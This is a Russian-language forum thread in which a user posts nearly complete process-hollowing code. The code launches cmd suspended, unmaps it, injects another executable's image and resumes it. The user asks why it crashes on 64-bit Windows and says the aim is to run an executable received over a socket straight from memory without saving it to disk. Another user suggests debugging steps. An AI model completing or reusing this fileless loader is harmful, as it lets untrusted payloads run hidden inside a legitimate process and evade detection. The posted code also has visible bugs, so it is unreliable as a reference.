Всем привет в чем может быть проблема? на хп32 все норм отрабатывает на х64 вылетает с ошибкой Взял кусок кода из книги Gary Nebbett'a Код (Text): HANDLE hFile=CreateFile("test.exe",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); if(hFile==INVALID_HANDLE_VALUE) return 0; DWORD hSize=GetFileSize(hFile,&hSize); HANDLE hHeap=HeapCreate(NULL,hSize,hSize); DWORD btRead; ReadFile(hFile,hHeap,hSize,&btRead,0); CloseHandle(hFile); PROCESS_INFORMATION pi; STARTUPINFO si = {sizeof si}; CreateProcess(0, "cmd", 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, &si, &pi); CONTEXT context = {CONTEXT_INTEGER}; GetThreadContext(pi.hThread, &context); PVOID x; ReadProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, &x, sizeof x, 0); HMODULE hNtDll = LoadLibrary("ntdll.dll"); ZwUnmapViewOfSection = (LONG (NTAPI *)(HANDLE,PVOID))GetProcAddress(hNtDll,"ZwUnmapViewOfSection"); ZwUnmapViewOfSection(pi.hProcess, x); PVOID p=hHeap; PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(p) + PIMAGE_DOS_HEADER(p)->e_lfanew); PVOID q = VirtualAllocEx(pi.hProcess,PVOID(nt->OptionalHeader.ImageBase),nt->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(pi.hProcess, q, p, nt->OptionalHeader.SizeOfHeaders, 0); PIMAGE_SECTION_HEADER sect = IMAGE_FIRST_SECTION(nt); for (ULONG i = 0; i < nt->FileHeader.NumberOfSections; i++) { WriteProcessMemory(pi.hProcess, PCHAR(q) + sect[i].VirtualAddress, PCHAR(p) + sect[i].PointerToRawData, sect[i].SizeOfRawData, 0); ULONG x; VirtualProtectEx(pi.hProcess, PCHAR(q) + sect[i].VirtualAddress, sect[i].Misc.VirtualSize, protect(sect[i].Characteristics), &x); } WriteProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, &q, sizeof q, 0); context.Eax = ULONG(q) + nt->OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread, &context); ResumeThread(pi.hThread); ......
not1 test.exe - 64 бита? А код из которого исполняете сколько бит? cmd.exe - 32 или 64 битный запускается?
ziral2088 нет test.exe я открываю, потом получаю его размер выделяю в куче память и читаю в этот буфер файл, далее по примеру Гари, создаю процесс cmd и пишу этот буфер туда, на 32 битной винде все работает файл запускается из памяти, на х64 вылетает с ошибкой 5, я подозреваю что в х64 такой метод запуска не проконает, требуется обязательно образ файла на диске?...кстате падает на этой строке ResumeThread(pi.hThread) хз в чем проблема возможно выравнивание не правильное или еще что, вообще можно на х64 запустить файл из памяти? вообщем стоит задача в кратце я в сокет получаю некий буфер хочу его сразу в память передать и запустить не сохраняя этот буфер на диск, ес-но буфер который я получу это файл...вот погуглив набросал примерно как это должно быть на х64 это к сожалению не работает..
not1 поставьте int3(0xCC) по EntryPointу, подключите olly\windbg и посмотрите, что не так. Гадать - очень тяжело.